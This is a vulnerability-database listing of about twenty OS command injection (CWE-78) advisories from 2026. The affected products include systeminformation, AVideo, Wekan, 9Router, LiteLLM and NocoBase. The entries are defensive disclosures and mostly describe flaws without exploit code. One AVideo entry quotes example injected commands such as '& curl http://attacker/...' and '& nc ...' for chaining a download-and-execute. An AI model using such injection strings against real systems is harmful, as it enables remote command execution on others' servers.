Filtered by CWE-78
Total 6747 CVE
CVE Vendors Products Updated CVSS v3.1
CVE-2026-50289 2 Sebhildebrandt, Systeminformation 2 Systeminformation, Systeminformation 2026-07-20 8.8 High
systeminformation is a System and OS information library for node.js. Prior to 5.31.7, networkInterfaces() on Linux is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive because lib/network.js checkLinuxDCHPInterfaces() reads /etc/network/interfaces, extracts a source <path> token from file content, and interpolates it unquoted into cat ${file} 2> /dev/null | grep 'iface\|source' executed by execSync(cmd, util.execOptsLinux), allowing a path containing shell metacharacters to execute commands in any process that calls networkInterfaces(), including via getStaticData() and getAllData(). This issue is fixed in version 5.31.7.
CVE-2026-15069 1 Ibm 1 Engineering Ai Hub 2026-07-20 5.4 Medium
IBM Engineering AI Hub 1.0.0, 1.1.0, and 1.2.0 could allow a remote attacker to execute arbitrary script code due to improper neutralization of input during web page generation.
CVE-2026-14448 2 Helmholz, Mb Connect Line 5 Myrex24v2, Myrex24v2.virtual, Myrex24v2virtual and 2 more 2026-07-20 7.2 High
An high privileged remote attacker can exploit an authenticated OS command injection vulnerability in the system_certificates view due to improper neutralization of special elements in an OS command. This can result in a total loss of confidentiality, availability and integrity.
CVE-2026-14499 5 Apple, Ibm, Langflow and 2 more 5 Macos, Langflow Oss, Langflow and 2 more 2026-07-20 8.8 High
IBM Langflow OSS 1.0.0 through 1.10.1 Langflow could allow an authenticated user to execute arbitrary commands with elevated privileges on the system due to improper validation of user supplied input in the Python Interpreter component.
CVE-2026-55410 1 Nocobase 1 Nocobase 2026-07-18 6.7 Medium
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.1.19, NocoBase @nocobase/plugin-backups restored PostgreSQL backups by interpolating the database.schema value from _metadata.json into shell command strings executed with Node.js child_process.exec(), allowing a backup-management user restoring a crafted backup to execute commands as the NocoBase server process. This vulnerability is fixed in 2.1.19.
CVE-2026-52891 1 Wekan 1 Wekan 2026-07-17 9.9 Critical
Wekan is open source kanban built with Meteor. Prior to 9.07, Wekan avatar upload functionality embeds user-supplied filenames into paths later passed to child_process.exec() for MIME-type detection. Because models/avatars.js and models/fileValidation.js used a shell command with the avatar filename, shell metacharacters such as backticks and $() in the filename could execute commands on the server. This issue is fixed in version 9.07.
CVE-2026-63305 1 Wwbn 1 Avideo 2026-07-17 8.1 High
AVideo through 29.0 contains an OS command injection vulnerability in the ffmpeg.json.php endpoint where notifyCode and callback parameters are concatenated into a shell command without escaping. Attackers who can craft a valid encrypted payload can inject arbitrary shell metacharacters into these fields to execute OS commands as the web-server user.
CVE-2026-55173 1 Wwbn 1 Avideo 2026-07-17 8.1 High
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
CVE-2026-62312 1 Decolua 1 9router 2026-07-16 8.8 High
9Router is an AI router & token saver. Prior to 0.5.2, 9Router allows a remote authenticated attacker to achieve arbitrary code execution on the host operating system by combining a Host header bypass of localhost-only routes with unvalidated MCP plugin args passed to child_process.spawn(), allowing malicious custom plugins to execute commands through /api/mcp//sse. This issue is fixed in version 0.5.2.
CVE-2026-63304 1 Wwbn 1 Avideo 2026-07-16 8.1 High
AVideo through 29.0 contains an OS command injection vulnerability in plugin/API/standAlone/functions.php where the listFFmpegProcesses() function interpolates unsanitized keyword parameters inside single quotes without escaping. Attackers who can craft a valid encrypted codeToExec payload can break out of the single-quoted grep context and execute arbitrary OS commands as the web-server user.
CVE-2023-49900 1 X-rite 1 Ma-t6 2026-07-16 9.8 Critical
An unauthenticated remote attacker is able to perform remote code execution due to incorrectly sanitized user input in the SetParameter command.
CVE-2026-30623 1 Berriai 1 Litellm 2026-07-16 9.8 Critical
LiteLLM 1.18.10 contains a remote code execution vulnerability in its MCP server creation functionality. The application allows users to add MCP servers via a JSON configuration specifying arbitrary command and args values. LiteLLM executes these values on the host without validation, enabling attackers to run arbitrary operating system commands. Successful exploitation may result in remote code execution with the privileges of the LiteLLM process.
CVE-2026-46339 1 Decolua 1 9router 2026-07-16 10 Critical
9Router is an AI router & token saver. From 0.4.30 until 0.4.37, 9Router's src/proxy.js middleware did not protect /api/cli-tools/* and /api/mcp/*, allowing unauthenticated registration of customPlugins through src/app/api/cli-tools/cowork-settings/route.js and command execution through the MCP bridge. This vulnerability is fixed in 0.4.37.
CVE-2026-46709 2 Eugeny, Tabby 2 Tabby, Tabby 2026-07-15 7.8 High
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.234, Tabby inserts dropped file paths from tabby-electron/src/pathDrop.ts into the active shell without neutralizing command substitution metacharacters such as $(…) and `…`, so the incomplete CVE-2026-45038 fix for control characters still allows code execution when the victim presses Enter. This issue is fixed in version 1.0.234.
CVE-2026-15895 1 Aws 1 Jsii 2026-07-15 7.8 High
OS command injection in the npm package loading component in AWS jsii-diff before 1.131.0 might allow context-dependent attackers to execute arbitrary commands via crafted package specifiers passed to the npm: source argument. To mitigate this issue, users should upgrade to jsii-diff v1.131.0 or later.
CVE-2026-15495 1 Soniccloudorg 1 Sonic-agent 2026-07-15 6.3 Medium
A vulnerability has been found in SonicCloudOrg sonic-agent up to 2.7.2. The affected element is an unknown function of the file AndroidWSServer.java of the component Android WebSocket Server. The manipulation of the argument path leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVE-2026-61438 1 Praison 1 Praisonai 2026-07-15 7.3 High
PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.
CVE-2023-7338 2 Commscope, Ruckusnetworks 58 Ruckus C110, Ruckus E510, Ruckus H320 and 55 more 2026-07-15 7.5 High
Ruckus Unleashed contains a remote code execution vulnerability in the web-based management interface that allows authenticated remote attackers to execute arbitrary code on the system when gateway mode is enabled. Attackers can exploit this vulnerability by sending specially crafted requests through the management interface to achieve arbitrary code execution on affected systems.
CVE-2022-50994 1 Draytek 1 Vigor 2960 2026-07-15 8.1 High
DrayTek Vigor 2960 firmware versions prior to 1.5.1.4 contain an OS command injection vulnerability in the CGI login handler that allows unauthenticated remote attackers to execute arbitrary commands by injecting shell metacharacters into the formpassword parameter. Attackers can exploit unsanitized input passed to the otp_check.sh script to achieve remote code execution with web server privileges. Exploitation requires knowledge of a valid username and that the target account has MOTP authentication enabled.
CVE-2021-47903 2 Litespeed Technologies, Litespeedtech 2 Litespeed Web Server, Litespeed Web Server 2026-07-15 8.8 High
LiteSpeed Web Server Enterprise 5.4.11 contains an authenticated command injection vulnerability in the external app configuration interface. Authenticated administrators can inject shell commands through the 'Command' parameter in the server configuration, allowing remote code execution via path traversal and bash command injection.